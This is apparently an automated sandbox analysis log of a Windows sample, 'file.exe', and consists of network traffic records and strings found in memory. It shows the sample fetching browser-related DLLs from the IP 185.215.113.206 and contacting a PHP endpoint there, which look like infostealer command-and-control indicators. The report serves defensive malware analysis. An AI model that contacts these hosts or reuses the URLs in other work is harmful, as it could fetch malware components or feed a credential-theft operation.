Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php.
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/P
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9B
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpIJECGDGCBKECAKFBG
Source: file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpSession
Source: file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpY
Source: file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcal
Source: file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phplu
Source: file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2065392111.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpuEO
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllR
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2065392111.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllL
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065392111.00000000015D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll4
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllk
Source: file.exe, 00000000.00000002.2065392111.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/cf
Source: file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206FID
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_81.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2087537762.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087077164.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_80.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_80.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_80.3.dr, chromecache_81.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_80.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_80.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000003.1693251451.00000000051CB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2087420565.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_80.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_81.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_81.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_81.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_81.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_81.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_80.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_80.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888687969.000000001D7CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888687969.000000001D7CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: chromecache_80.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2065392111.000000000160E000.00000004.00000020.00020000.00000000.sdmp, BAAAKJDAAFBAAKEBAAKF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1897503351.0000000023848000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_80.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_80.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_81.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_81.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_81.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1999932412.0000000023B33000.00000004.00000020.00020000.00000000.sdmp, IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/x1024
Source: IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2063456303.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000003.1999932412.0000000023B33000.00000004.00000020.00020000.00000000.sdmp, IEHCAKKJDBKKFHJJDHIIJEBAEC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2063456303.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
